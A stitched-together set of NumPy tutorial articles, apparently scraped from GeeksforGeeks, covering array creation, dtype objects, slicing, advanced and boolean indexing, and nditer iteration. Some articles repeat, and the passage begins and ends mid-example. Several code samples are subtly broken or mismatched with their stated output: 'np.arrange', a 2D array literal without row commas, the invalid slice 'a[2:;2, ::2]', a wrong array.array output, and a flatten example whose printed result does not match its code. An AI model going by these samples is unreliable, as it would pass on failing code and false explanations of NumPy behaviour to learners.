    Array is of type:  <class 'numpy.ndarray'>
    No. of dimensions:  2
    Shape of array:  (2, 3)
    Size of array:  6
    Array stores elements of type:  int64

    Array Creation

    There are various ways to create arrays in NumPy.

    Note: Type of array can be explicitly defined while creating array.

    # Python program to demonstrate
    # array creation techniques
    import numpy as np
    
    # Creating array from list with type float
    a = np.array([[1, 2, 4], [5, 8, 7]], dtype = 'float')
    print ("Array created using passed list:\n", a)
    
    # Creating array from tuple
    b = np.array((1 , 3, 2))
    print ("\nArray created using passed tuple:\n", b)
    
    # Creating a 3X4 array with all zeros
    c = np.zeros((3, 4))
    print ("\nAn array initialized with all zeros:\n", c)
    
    # Create a constant value array of complex type
    d = np.full((3, 3), 6, dtype = 'complex')
    print ("\nAn array initialized with all 6s." 
                "Array type is complex:\n", d)
    
    

    Output :

    Array created using passed list:
     [[ 1.  2.  4.]
     [ 5.  8.  7.]]
    
    Array created using passed tuple:
     [1 3 2]
    
    An array initialized with all zeros:
     [[ 0.  0.  0.  0.]
     [ 0.  0.  0.  0.]
     [ 0.  0.  0.  0.]]
    
    An array initialized with all 6s. Array type is complex:
     [[ 6.+0.j  6.+0.j  6.+0.j]
     [ 6.+0.j  6.+0.j  6.+0.j]
     [ 6.+0.j  6.+0.j  6.+0.j]]
    

    Array Indexing


    Knowing the basics of array indexing is important for analysing and manipulating the array object. NumPy offers many ways to do array indexing.

    # Python program to demonstrate
    # indexing in numpy
    import numpy as np
    
    # An exemplar array
    arr = np.array([[-1, 2, 0, 4],
                    [4, -0.5, 6, 0],
                    [2.6, 0, 7, 8],
                    [3, -7, 4, 2.0]])
    
    # Slicing array
    temp = arr[:2, ::2]
    print ("Array with first 2 rows and alternate"
                        "columns(0 and 2):\n", temp)
    
    # Integer array indexing example
    temp = arr[[0, 1, 2, 3], [3, 2, 1, 0]]
    print ("\nElements at indices (0, 3), (1, 2), (2, 1),"
                                        "(3, 0):\n", temp)
    
    # boolean array indexing example
    cond = arr > 0 # cond is a boolean array
    temp = arr[cond]
    print ("\nElements greater than 0:\n", temp)
    

    Output :

    Array with first 2 rows and alternatecolumns(0 and 2):
     [[-1.  0.]
     [ 4.  6.]]
    
    Elements at indices (0, 3), (1, 2), (2, 1),(3, 0):
     [ 4.  6.  0.  3.]
    
    Elements greater than 0:
     [ 2.   4.   4.   6.   2.6  7.   8.   3.   4.   2. ]

    Basic operations

    Plethora of built-in arithmetic functions are provided in NumPy.

    Data Type


    Every ndarray has an associated data type (dtype) object. This data type object (dtype) informs us about the layout of the array. This means it gives us information about :

    The values of a ndarray are stored in a buffer which can be thought of as a contiguous block of memory bytes. So how these bytes will be interpreted is given by the dtype object.
    Every Numpy array is a table of elements (usually numbers), all of the same type, indexed by a tuple of positive integers. Every ndarray has an associated data type (dtype) object.
    This data type object (dtype) provides information about the layout of the array. The vaues of an ndarray are stored in a buffer which can be thought of as a contiguous block of memory bytes which can be interpreted by the dtype object. Numpy provides a large set of numeric datatypes that can be used to construct arrays.
    At the time of Array creation, Numpy tries to guess a datatype, but functions that construct arrays usually also include an optional argument to explicitly specify the datatype.
     

    # Python Program to create a data type object
    import numpy as np
    
    # np.int16 is converted into a data type object.
    print(np.dtype(np.int16))
    

    Output:

    int16
    # Python Program to create a data type object 
    # containing a 32 bit big-endian integer
    import numpy as np
    
    # i4 represents integer of size 4 byte
    # > represents big-endian byte ordering and
    # < represents little-endian encoding.
    # dt is a dtype object
    dt = np.dtype('>i4')
    
    print("Byte order is:",dt.byteorder)
    
    print("Size is:",dt.itemsize)
    
    print("Data type is:",dt.name)
    
    

    Output:

    Byte order is: >
    Size is: 4
    Name of data type is: int32
    

    My Personal Notes arrow_drop_up

    Numpy | Array Creation

    • Last Updated : 15 Nov, 2018

    Array creation using List : Arrays are used to store multiple values in one single variable.Python does not have built-in support for Arrays, but Python lists can be used instead.
    Example :

    arr = [1, 2, 3, 4, 5]
    arr1 = ["geeks", "for", "geeks"]
    
    # Python program to create 
    # an array
    
    # Creating an array using list
        arr=[1, 2, 3, 4, 5]
        for i in arr:
            print(i)
    
    
    

    Output:

    1
    2
    3
    4
    5
    

     
    Array creation using array functions :
    array(data type, value list) function is used to create an array with data type and value list specified in its arguments.
    Example :

    # Python code to demonstrate the working of 
    # array()
     
    # importing "array" for array operations
    import array
     
    # initializing array with array values
    # initializes array with signed integers
    arr = array.array('i', [1, 2, 3]) 
    
    # printing original array
    print ("The new created array is : ",end="")
    for i in range (0,3):
        print (arr[i], end=" ")
    
    print ("\r")
    

    Output:

    The new created array is : 1 2 3 1 5
    

     
    Array creation using numpy methods :
    NumPy offers several functions to create arrays with initial placeholder content. These minimize the necessity of growing arrays, an expensive operation. For example: np.zeros,np.empty etc.

    numpy.empty(shape, dtype = float, order = ‘C’) : Return a new array of given shape and type, with random values.

    
    # Python Programming illustrating
    # numpy.empty method
    
    import numpy as geek
    
    b = geek.empty(2, dtype = int)
    print("Matrix b : \n", b)
    
    a = geek.empty([2, 2], dtype = int)
    print("\nMatrix a : \n", a)
    
    c = geek.empty([3, 3])
    print("\nMatrix c : \n", c)
    

    Output :

    Matrix b : 
     [         0 1079574528]
    
    Matrix a : 
     [[0 0]
     [0 0]]
    
    Matrix a : 
     [[ 0.  0.  0.]
     [ 0.  0.  0.]
     [ 0.  0.  0.]]

    numpy.zeros(shape, dtype = None, order = ‘C’) : Return a new array of given shape and type, with zeros.

    
    # Python Program illustrating
    # numpy.zeros method
    
    import numpy as geek
    
    b = geek.zeros(2, dtype = int)
    print("Matrix b : \n", b)
    
    a = geek.zeros([2, 2], dtype = int)
    print("\nMatrix a : \n", a)
    
    c = geek.zeros([3, 3])
    print("\nMatrix c : \n", c)
    
    

    Output :

    Matrix b : 
     [0 0]
    
    Matrix a : 
     [[0 0]
     [0 0]]
    
    Matrix c : 
     [[ 0.  0.  0.]
     [ 0.  0.  0.]
     [ 0.  0.  0.]]
    

     
    Reshaping array: We can use reshape method to reshape an array. Consider an array with shape (a1, a2, a3, …, aN). We can reshape and convert it into another array with shape (b1, b2, b3, …, bM).
    The only required condition is: a1 x a2 x a3 … x aN = b1 x b2 x b3 … x bM . (i.e original size of array remains unchanged.)

    numpy.reshape(array, shape, order = ‘C’) : Shapes an array without changing data of array.

    
    # Python Program illustrating
    # numpy.reshape() method
    
    import numpy as geek
    
    array = geek.arange(8)
    print("Original array : \n", array)
    
    # shape array with 2 rows and 4 columns
    array = geek.arange(8).reshape(2, 4)
    print("\narray reshaped with 2 rows and 4 columns : \n", array)
    
    # shape array with 2 rows and 4 columns
    array = geek.arange(8).reshape(4 ,2)
    print("\narray reshaped with 2 rows and 4 columns : \n", array)
    
    # Constructs 3D array
    array = geek.arange(8).reshape(2, 2, 2)
    print("\nOriginal array reshaped to 3D : \n", array)
    

    Output :

    Original array : 
     [0 1 2 3 4 5 6 7]
    
    array reshaped with 2 rows and 4 columns : 
     [[0 1 2 3]
     [4 5 6 7]]
    
    array reshaped with 2 rows and 4 columns : 
     [[0 1]
     [2 3]
     [4 5]
     [6 7]]
    
    Original array reshaped to 3D : 
     [[[0 1]
      [2 3]]
    
     [[4 5]
      [6 7]]]
    

    To create sequences of numbers, NumPy provides a function analogous to range that returns arrays instead of lists.
    arange returns evenly spaced values within a given interval. step size is specified.
    linspace returns evenly spaced values within a given interval. num no. of elements are returned.

    arange([start,] stop[, step,][, dtype]) : Returns an array with evenly spaced elements as per the interval. The interval mentioned is half opened i.e. [Start, Stop)

    
    # Python Programming illustrating
    # numpy.arange method
    
    import numpy as geek
    
    print("A\n", geek.arange(4).reshape(2, 2), "\n")
    
    print("A\n", geek.arange(4, 10), "\n")
    
    print("A\n", geek.arange(4, 20, 3), "\n")
    

    Output :

    A
     [[0 1]
     [2 3]]
    
    A
     [4 5 6 7 8 9]
    
    A
     [ 4  7 10 13 16 19]
    
    

    numpy.linspace(start, stop, num = 50, endpoint = True, retstep = False, dtype = None) : Returns number spaces evenly w.r.t interval. Similiar to arange but instead of step it uses sample number.

    
    # Python Programming illustrating
    # numpy.linspace method
    
    import numpy as geek
    
    # restep set to True
    print("B\n", geek.linspace(2.0, 3.0, num=5, retstep=True), "\n")
    
    # To evaluate sin() in long range 
    x = geek.linspace(0, 2, 10)
    print("A\n", geek.sin(x))
    
    

    Output :

    B
     (array([ 2.  ,  2.25,  2.5 ,  2.75,  3.  ]), 0.25)
    
    A
     [ 0.          0.22039774  0.42995636  0.6183698   0.77637192  0.8961922
      0.9719379   0.99988386  0.9786557   0.90929743]

     
    Flatten array: We can use flatten method to get a copy of array collapsed into one dimension. It accepts order argument. Default value is ‘C’ (for row-major order). Use ‘F’ for column major order.

    numpy.ndarray.flatten(order = ‘C’) : Return a copy of the array collapsed into one dimension.

    
    # Python Program illustrating
    # numpy.flatten() method
    
    import numpy as geek
    
    array = geek.array([[1, 2], [3, 4]])
    
    # using flatten method
    array.flatten()
    print(array)
    
    #using fatten method 
    array.flatten('F')
    print(array)
    

    Output :

    [1, 2, 3, 4]
    [1, 3, 2, 4]
    

     

    Methods for array creation in Numpy

    FunctionDescription
    empty()Return a new array of given shape and type, without initializing entries
    empty_like()Return a new array with the same shape and type as a given array
    eye()Return a 2-D array with ones on the diagonal and zeros elsewhere.
    identity()Return the identity array
    ones()Return a new array of given shape and type, filled with ones
    ones_like()Return an array of ones with the same shape and type as a given array
    zeros()Return a new array of given shape and type, filled with zeros
    zeros_like()Return an array of zeros with the same shape and type as a given array
    full_like()Return a full array with the same shape and type as a given array.
    array()Create an array
    asarray()Convert the input to an array
    asanyarray()Convert the input to an ndarray, but pass ndarray subclasses through
    ascontiguousarray()Return a contiguous array in memory (C order)
    asmatrix()Interpret the input as a matrix
    copy()Return an array copy of the given object
    frombuffer()Interpret a buffer as a 1-dimensional array
    fromfile()Construct an array from data in a text or binary file
    fromfunction()Construct an array by executing a function over each coordinate
    fromiter()Create a new 1-dimensional array from an iterable object
    fromstring()A new 1-D array initialized from text data in a string
    loadtxt()Load data from a text file
    arange()Return evenly spaced values within a given interval
    linspace()Return evenly spaced numbers over a specified interval
    logspace()Return numbers spaced evenly on a log scale
    geomspace()Return numbers spaced evenly on a log scale (a geometric progression)
    meshgrid()Return coordinate matrices from coordinate vectors
    mgrid()nd_grid instance which returns a dense multi-dimensional “meshgrid
    ogrid()nd_grid instance which returns an open multi-dimensional “meshgrid
    diag()Extract a diagonal or construct a diagonal array
    diagflat()Create a two-dimensional array with the flattened input as a diagonal
    tri()An array with ones at and below the given diagonal and zeros elsewhere
    tril()Lower triangle of an array
    triu()Upper triangle of an array
    vander()Generate a Vandermonde matrix
    mat()Interpret the input as a matrix
    bmat()Build a matrix object from a string, nested sequence, or array

    My Personal Notes arrow_drop_up

    Numpy | Data Type Objects

    • Last Updated : 15 Nov, 2018

    Every ndarray has an associated data type (dtype) object. This data type object (dtype) informs us about the layout of the array. This means it gives us information about :

    The values of an ndarray are stored in a buffer which can be thought of as a contiguous block of memory bytes. So how these bytes will be interpreted is given by the dtype object.  

    Constructing a data type (dtype) object : Data type object is an instance of numpy.dtype class and it can be created using numpy.dtype.

    Parameters:

    obj: Object to be converted to a data type object.
    align : [bool, optional] Add padding to the fields to match what a C compiler would output for a similar C-struct.
    copy : [bool, optional] Make a new copy of the data-type object. If False, the result may just be a reference to a built-in data-type object.

    # Python Program to create a data type object
    import numpy as np
    
    # np.int16 is converted into a data type object.
    print(np.dtype(np.int16))
    

    Output:

    int16
    # Python Program to create a data type object 
    # containing a 32 bit big-endian integer
    import numpy as np
    
    # i4 represents integer of size 4 byte
    # > represents big-endian byte ordering and
    # < represents little-endian encoding.
    # dt is a dtype object
    dt = np.dtype('>i4')
    
    print("Byte order is:",dt.byteorder)
    
    print("Size is:", dt.itemsize)
    
    print("Data type is:", dt.name)
    
    

    Output:

    Byte order is: >
    Size is: 4
    Name of data type is: int32
    

    The type specifier (i4 in above case) can take different forms:

    b1, i1, i2, i4, i8, u1, u2, u4, u8, f2, f4, f8, c8, c16, a (representing bytes, ints, unsigned ints, floats, complex and fixed length strings of specified byte lengths)

    int8,…,uint8,…,float16, float32, float64, complex64, complex128 (this time with bit sizes)

    Note : dtype is different from type. 

    # Python program to differentiate
    # between type and dtype.
    import numpy as np
    
    a = np.array([1])
    
    print("type is: ",type(a))
    print("dtype is: ",a.dtype)
    
    

    Output:

    type is:    
    dtype is:  int32
    

     
    Data type Objects with Structured Arrays : Data type objects are useful for creating structured arrays. A structured array is the one which contains different types of data. Structured arrays can be accessed with the help of fields.

    A field is like specifying a name to the object. In case of structured arrays, the dtype object will also be structured. 

    
    # Python program for demonstrating 
    # the use of fields
    import numpy as np
    
    # A structured data type containing a
    # 16-character string (in field ‘name’) 
    # and a sub-array of two 64-bit floating
    # -point number (in field ‘grades’)
    
    dt = np.dtype([('name', np.unicode_, 16),
                   ('grades', np.float64, (2,))])
    
    # Data type of object with field grades
    print(dt['grades'])
    
    # Data type of object with field name 
    print(dt['name'])
    
    

    Output:

    ('<f8', (2,))
    
    # Python program to demonstrate 
    # the use of data type object
    # with structured array.
    import numpy as np
    
    dt = np.dtype([('name', np.unicode_, 16),
                   ('grades', np.float64, (2,))])
    
    # x is a structured array with names
    # and marks of students.
    # Data type of name of the student is 
    # np.unicode_ and data type of marks is 
    # np.float(64)
    x = np.array([('Sarah', (8.0, 7.0)),
                  ('John', (6.0, 7.0))], dtype=dt)
    
    print(x[1])
    
    print("Grades of John are: ", x[1]['grades'])
    print("Names are: ", x['name'])
    

    Output:

    ('John', [ 6.,  7.])
    Grades of John are:  [ 6.  7.]
    Names are:  ['Sarah' 'John']
    
    My Personal Notes arrow_drop_up

    Data type Object (dtype) in NumPy Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 11 Aug, 2021

    Every ndarray has an associated data type (dtype) object. This data type object (dtype) informs us about the layout of the array. This means it gives us information about: 

    The values of a ndarray are stored in a buffer which can be thought of as a contiguous block of memory bytes. So how these bytes will be interpreted is given by the dtype object.  

    1. Constructing a data type (dtype) object: A data type object is an instance of the NumPy.dtype class and it can be created using NumPy.dtype.

    Parameters: 

    Python




    # Python Program to create a data type object
    import numpy as np
     
    # np.int16 is converted into a data type object.
    print(np.dtype(np.int16))

    Output:

    int16

    Python




    # Python Program to create a data type object
    # containing a 32 bit big-endian integer
    import numpy as np
     
    # i4 represents integer of size 4 byte
    # > represents big-endian byte ordering and < represents little-endian encoding.
    # dt is a dtype object
    dt = np.dtype('>i4')
     
    print("Byte order is:",dt.byteorder)
     
    print("Size is:",dt.itemsize)
     
    print("Data type is:",dt.name)

    Output:

    Byte order is: >
    Size is: 4
    Name of data type is: int32

    The type specifier (i4 in the above case) can take different forms:

    Note:

    dtype is different from type. 

    Python




    # Python program to differentiate
    # between type and dtype.
    import numpy as np
     
    a = np.array([1])
     
    print("type is: ",type(a))
    print("dtype is: ",a.dtype)

    Output:

    type is:    
    dtype is:  int32

    2. Data type Objects with Structured Arrays: Data type objects are useful for creating structured arrays.  A structured array is one that contains different types of data. Structured arrays can be accessed with the help of fields. 
    A field is like specifying a name to the object. In the case of structured arrays, the dtype object will also be structured.  

    Python




    # Python program for demonstrating
    # the use of fields
    import numpy as np
     
    # A structured data type containing a 16-character string (in field ‘name’) 
    # and a sub-array of two 64-bit floating-point number (in field ‘grades’):
     
    dt = np.dtype([('name', np.unicode_, 16), ('grades', np.float64, (2,))])
     
    # Data type of object with field grades
    print(dt['grades'])
     
    # Data type of object with field name 
    print(dt['name'])

    Output: 

    ('<f8', (2,))

    Python




    # Python program to demonstrate 
    # the use of data type object with structured array.
    import numpy as np
     
    dt = np.dtype([('name', np.unicode_, 16), ('grades', np.float64, (2,))])
     
    # x is a structured array with names and marks of students.
    # Data type of name of the student is np.unicode_ and 
    # data type of marks is np.float(64)
    x = np.array([('Sarah', (8.0, 7.0)), ('John', (6.0, 7.0))], dtype=dt)
     
    print(x[1])
    print("Grades of John are: ",x[1]['grades'])
    print("Names are: ",x['name'])

    Output:

    ('John', [ 6.,  7.])
    Grades of John are:  [ 6.  7.]
    Names are:  ['Sarah' 'John']

    References :  

    This article is contributed by Ayushi Asthana. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    Numpy | Indexing

    • Last Updated : 15 Nov, 2018

    NumPy or Numeric Python is a package for computation on homogenous n-dimensional arrays. In numpy dimensions are called as axes.

    Why do we need NumPy ?

    A question arises that why do we need NumPy when python lists are already there. The answer to it is we cannot perform operations on all the elements of two list directly. For example, we cannot multiply two lists directly we will have to do it element-wise. This is where the role of NumPy comes into play.

    Example #1:

    # Python program to demonstrate a need of NumPy
    
    list1 = [1, 2, 3, 4 ,5, 6]
    list2 = [10, 9, 8, 7, 6, 5]
    
    # Multiplying both lists directly would give an error.
    print(list1*list2)
    
    

    Output :

    TypeError: can't multiply sequence by non-int of type 'list'
    

    Where as this can easily be done with NumPy arrays.

    Example #2:

    # Python program to demonstrate the use of NumPy arrays
    import numpy as np
    
    list1 = [1, 2, 3, 4, 5, 6]
    list2 = [10, 9, 8, 7, 6, 5]
    
    # Convert list1 into a NumPy array
    a1 = np.array(list1)
    
    # Convert list2 into a NumPy array
    a2 = np.array(list2)
    
    print(a1*a2)
    

    Output :

    array([10, 18, 24, 28, 30, 30])

    Numpy package of python has a great power of indexing in different ways.

    Indexing using index arrays

    Indexing can be done in numpy by using an array as an index. In case of slice, a view or shallow copy of the array is returned but in index array a copy of the original array is returned. Numpy arrays can be indexed with other arrays or any other sequence with the exception of tuples. The last element is indexed by -1 second last by -2 and so on.

    Example #1:

    # Python program to demonstrate 
    # the use of index arrays.
    import numpy as np
    
    # Create a sequence of integers from
    # 10 to 1 with a step of -2
    a = np.arange(10, 1, -2) 
    print("\n A sequential array with a negative step: \n",a)
    
    # Indexes are specified inside the np.array method.
    newarr = a[np.array([3, 1, 2 ])]
    print("\n Elements at these indices are:\n",newarr)
    
    

    Output :

    A sequential array with a negative step:
    [10  8  6  4  2]
    
    Elements at these indices are:
    [4 8 6]
    

     
    Example #2:

    import numpy as np
    
    # NumPy array with elements from 1 to 9
    x = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9])
    
    # Index values can be negative.
    arr = x[np.array([1, 3, -3])]
    print("\n Elements are : \n",arr)
    

    Output :

    Elements are:
    [2 4 7]
    

     

    Types of Indexing

    There are two types of indexing :

    Basic Slicing and indexing : Consider the syntax x[obj] where x is the array and obj is the index. Slice object is the index in case of basic slicing. Basic slicing occurs when obj is :

    All arrays generated by basic slicing are always view of the original array.

    Code #1:

    
    # Python program for basic slicing.
    import numpy as np
    
    # Arrange elements from 0 to 19
    a = np.arange(20)
    print("\n Array is:\n ",a)
    
    # a[start:stop:step]
    print("\n a[-8:17:1]  = ",a[-8:17:1]) 
    
    # The : operator means all elements till the end.
    print("\n a[10:]  = ",a[10:])
    
    

    Output :

    Array is:
    [ 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19]
    
    a[-8:17:1]  =  [12 13 14 15 16]
    
    a[10:] = [10 11 12 13 14 15 16 17 18 19] 
    

     
    Code #2:

    
    # Python program for basic slicing 
    # and indexing
    import numpy as np
    
    # A 3-Dimensional array
    a = np.array([[0, 1, 2, 3, 4, 5]
                  [6, 7, 8, 9, 10, 11]
                  [12, 13, 14, 15, 16, 17]
                  [18, 19, 20, 21, 22, 23]
                  [24, 25, 26, 27, 28, 29]
                  [30, 31, 32, 33, 34, 35]]
    print("\n Array is:\n ",a)
    
    # slicing and indexing
    print("\n a[0, 3:5]  = ",a[0, 3:5]) 
    
    print("\n a[4:, 4:]  = ",a[4:, 4:]) 
    
    print("\n a[:, 2]  = ",a[:, 2]) 
    
    print("\n a[2:;2, ::2]  = ",a[2:;2, ::2]) 
    
    
    

    Output :

    Array is:
     [[0  1  2  3  4  5] 
      [6 7 8 9 10 11]
      [12 13 14 15 16 17]
      [18 19 20 21 22 23]
      [24 25 26 27 28 29]
      [30 31 32 33 34 35]]
    
    a[0, 3:5]  =  [3 4]
    
    a[4:, 4:] = [[28 29],
                 [34 35]]
    
    a[:, 2] =  [2 8 14 20 26 32]
    
    a[2:;2, ::2] = [[12 14 16],
                    [24 26 28]]
    

    The figure below makes the concept more clear:

    Ellipsis can also be used along with basic slicing. Ellipsis (…) is the number of : objects needed to make a selection tuple of the same length as the dimensions of the array.

    # Python program for indexing using 
    # basic slicing with ellipsis
    import numpy as np
    
    # A 3 dimensional array.
    b = np.array([[[1, 2, 3],[4, 5, 6]],
                  [[7, 8, 9],[10, 11, 12]]])
    
    print(b[...,1]) #Equivalent to b[: ,: ,1 ]
    

    Output :

    [[ 2  5]
     [ 8 11]]
    

     
    Advanced indexing : Advanced indexing is triggered when obj is –

    Advanced indexing returns a copy of data rather than a view of it. Advanced indexing is of two types integer and Boolean.

    Purely integer indexing : When integers are used for indexing. Each element of first dimension is paired with the element of the second dimension. So the index of the elements in this case are (0,0),(1,0),(2,1) and the corresponding elements are selected.

    
    # Python program showing advanced indexing
    import numpy as np
    
    a = np.array([[1 ,2 ],[3 ,4 ],[5 ,6 ]])
    print(a[[0 ,1 ,2 ],[0 ,0 ,1]])
    

    Output :

    [1 3 6]
    

    Combining advanced and basic indexing: When there is at least one slice (:), ellipsis (…) or newaxis in the index (or the array has more dimensions than there are advanced indexes), then the behavior can be more complicated. It is like concatenating the indexing result for each advanced index element

    In the simplest case, there is only a single advanced index. A single advanced index can, for example, replace a slice and the result array will be the same, however, it is a copy and may have a different memory layout. A slice is preferable when it is possible.

    
    # Python program showing advanced 
    # and basic indexing
    import numpy as np
    
    a = np.array([[0 ,1 ,2],[3 ,4 ,5 ],
                  [6 ,7 ,8],[9 ,10 ,11]])
    
    print(a[1:2 ,1:3 ])
    print(a[1:2 ,[1,2]])
    

    Output :

    [4, 5]
    [4, 5]
    

    The easiest way to understand the situation may be to think in terms of the result shape. There are two parts to the indexing operation, the subspace defined by the basic indexing (excluding integers) and the subspace from the advanced indexing part. Two cases of index combination need to be distinguished:

    The advanced indexes are separated by a slice, Ellipsis or newaxis. For example x[arr1, :, arr2].
    The advanced indexes are all next to each other. For example x[..., arr1, arr2, :] but not x[arr1, :, 1] since 1 is an advanced index in this regard.
    In the first case, the dimensions resulting from the advanced indexing operation come first in the result array, and the subspace dimensions after that. In the second case, the dimensions from the advanced indexing operations are inserted into the result array at the same spot as they were in the initial array (the latter logic is what makes simple advanced indexing behave just like slicing).
     
    Boolean Array Indexing:
    This indexing has some boolean expression as the index. Those elements are returned which satisfy that Boolean expression. It is used for filtering the desired element values.
    Code #1

    # You may wish to select numbers greater than 50
    import numpy as np
    
    a = np.array([10, 40, 80, 50, 100])
    print(a[a>50])
    
    

    Output :

    [80 100]
    

    Code #2

    # You may wish to square the multiples of 40 
    import numpy as np
    
    a = np.array([10, 40, 80, 50, 100])
    print(a[a%40==0]**2)
    

    Output :

    [1600 6400])
    

    Code #3

    # You may wish to select those elements whose
    # sum of row is a multiple of 10.
    import numpy as np
    
    b = np.array([[5, 5],[4, 5],[16, 4]])
    sumrow = b.sum(-1)
    print(b[sumrow%10==0])
    

    Output :

    array([[ 5, 5], [16, 4]])
    

    My Personal Notes arrow_drop_up

    Basic Slicing and Advanced Indexing in NumPy Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 05 Aug, 2021

    Prerequisites : Numpy in Python Introduction
    NumPy or Numeric Python is a package for computation on homogeneous n-dimensional arrays. In numpy dimensions are called as axes.

    Why do we need NumPy ?

    A question arises that why do we need NumPy when python lists are already there. The answer to it is we cannot perform operations on all the elements of two list directly. For example we cannot multiply two lists directly we will have to do it element wise. This is where the role of NumPy comes into play.

    Python




    # Python program to demonstrate a need of NumPy
     
    list1 = [1, 2, 3, 4 ,5, 6]
    list2 = [10, 9, 8, 7, 6, 5]
     
    # Multiplying both lists directly would give an error.
    print(list1*list2)

    Output : 

    TypeError: can't multiply sequence by non-int of type 'list'

    Where as this can easily be done with NumPy arrays.

    Another example,

    Python




    # Python program to demonstrate the use of NumPy arrays
    import numpy as np
     
    list1 = [1, 2, 3, 4, 5, 6]
    list2 = [10, 9, 8, 7, 6, 5]
     
    # Convert list1 into a NumPy array
    a1 = np.array(list1)
     
    # Convert list2 into a NumPy array
    a2 = np.array(list2)
     
    print(a1*a2)

    Output : 

    array([10, 18, 24, 28, 30, 30])

    This article will help you get acquainted with indexing in NumPy in detail. Numpy package of python has a great power of indexing in different ways.
     

    Indexing using index arrays

    Indexing can be done in numpy by using an array as an index. In case of slice, a view or shallow copy of the array is returned but in index array a copy of the original array is returned. Numpy arrays can be indexed with other arrays or any other sequence with the exception of tuples. The last element is indexed by -1 second last by -2 and so on.

    Python




    # Python program to demonstrate
    # the use of index arrays.
    import numpy as np
     
    # Create a sequence of integers from 10 to 1 with a step of -2
    a = np.arrange(10, 1, -2)
    print("\n A sequential array with a negative step: \n",a)
     
    # Indexes are specified inside the np.array method.
    newarr = a[np.array([3, 1, 2 ])]
    print("\n Elements at these indices are:\n",newarr)

    Output : 

    A sequential array with a negative step:
    [10  8  6  4  2]
    
    Elements at these indices are:
    [4 8 6]

    Another example,

    Python




    import numpy as np
     
    # NumPy array with elements from 1 to 9
    x = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9])
     
    # Index values can be negative.
    arr = x[np.array([1, 3, -3])]
    print("\n Elements are : \n",arr)

    Output : 

    Elements are:
    [2 4 7]

    Types of Indexing

    There are two types of indexing :

    1. Basic Slicing and indexing : Consider the syntax x[obj] where x is the array and obj is the index. Slice object is the index in case of basic slicing. Basic slicing occurs when obj is :

    1. a slice object that is of the form start : stop : step
    2. an integer
    3. or a tuple of slice objects and integers

    All arrays generated by basic slicing are always view of the original array.

    Python




    # Python program for basic slicing.
    import numpy as np
     
    # Arrange elements from 0 to 19
    a = np.arrange(20)
    print("\n Array is:\n ",a)
     
    # a[start:stop:step]
    print("\n a[-8:17:1] = ",a[-8:17:1])
     
    # The : operator means all elements till the end.
    print("\n a[10:] = ",a[10:])

    Output :

    Array is:
    [ 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19]
    
    a[-8:17:1]  =  [12 13 14 15 16]
    
    a[10:] = [10 11 12 13 14 15 16 17 18 19] 

    Ellipsis can also be used along with basic slicing. Ellipsis (…) is the number of : objects needed to make a selection tuple of the same length as the dimensions of the array.

    Python




    # Python program for indexing using basic slicing with ellipsis
    import numpy as np
     
    # A 3 dimensional array.
    b = np.array([[[1, 2, 3],[4, 5, 6]],
                [[7, 8, 9],[10, 11, 12]]])
     
    print(b[...,1]) #Equivalent to b[: ,: ,1 ]

    Output :

    [[ 2  5]
     [ 8 11]]

    2. Advanced indexing : Advanced indexing is triggered when obj is : 

    Advanced indexing returns a copy of data rather than a view of it. Advanced indexing is of two types integer and Boolean.

    Purely integer indexing : When integers are used for indexing. Each element of first dimension is paired with the element of the second dimension. So the index of the elements in this case are (0,0),(1,0),(2,1) and the corresponding elements are selected.

    Python




    # Python program showing advanced indexing
    import numpy as np
     
    a = np.array([[1 ,2 ],[3 ,4 ],[5 ,6 ]])
    print(a[[0 ,1 ,2 ],[0 ,0 ,1]])

    Output : 

    [1 3 6]

    Boolean Indexing 
    This indexing has some boolean expression as the index. Those elements are returned which satisfy that Boolean expression. It is used for filtering the desired element values.

    Python




    # You may wish to select numbers greater than 50
    import numpy as np
     
    a = np.array([10, 40, 80, 50, 100])
    print(a[a>50])

    Output : 

    [80 100]

    Python




    # You may wish to square the multiples of 40
    import numpy as np
     
    a = np.array([10, 40, 80, 50, 100])
    print(a[a%40==0]**2)

    Output : 

    [1600 6400])

    Python




    # You may wish to select those elements whose
    # sum of row is a multiple of 10.
    import numpy as np
     
    b = np.array([[5, 5],[4, 5],[16, 4]])
    sumrow = b.sum(-1)
    print(b[sumrow%10==0])

    Output : 

    array([[ 5, 5], [16, 4]])

    Reference : 
    SciPy.org
    This article is contributed by Ayushi Asthana. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    Numpy | Iterating Over Array

    • Last Updated : 15 Nov, 2018

    NumPy package contains an iterator object numpy.nditer. It is an efficient multidimensional iterator object using which it is possible to iterate over an array. Each element of an array is visited using Python’s standard Iterator interface.

    
    # Python program for
    # iterating over array
    
    import numpy as geek
    
    # creating an array using arrange 
    # method
    a = geek.arange(12)
    
    # shape array with 3 rows and 
    # 4 columns
    a = a.reshape(3,4)
    
    print('Original array is:')
    print(a)
    print()
    
    print('Modified array is:')
    
    # iterating  an array
    for x in geek.nditer(a):
        print(x)
    
    

    Output:

    Original array is:
    [[ 0 1 2 3]
     [ 4 5 6 7]
     [ 8 9 10 11]]
    
    Modified array is:
    0 1 2 3 4 5 6 7 8 9 10 11
    

    The order of iteration is chosen to match the memory layout of an array, without considering a particular ordering. This can be seen by iterating over the transpose of the above array.

    
    # Python program for
    # iterating over transpose
    # array
    
    import numpy as geek 
    
    # creating an array using arrange 
    # method
    a = geek.arange(12)
    
    # shape array with 3 rows and 
    # 4 columns 
    a = a.reshape(3,4) 
       
    print('Original array is:')
    print(a)
    print()  
       
    # Transpose of original array
    b = a.T 
       
    print('Modified array is:')
    for x in geek.nditer(b): 
        print(x)
    
    
    

    Output:

    Original array is:
    [[ 0 1 2 3]
     [ 4 5 6 7]
     [ 8 9 10 11]]
    
    Modified array is:
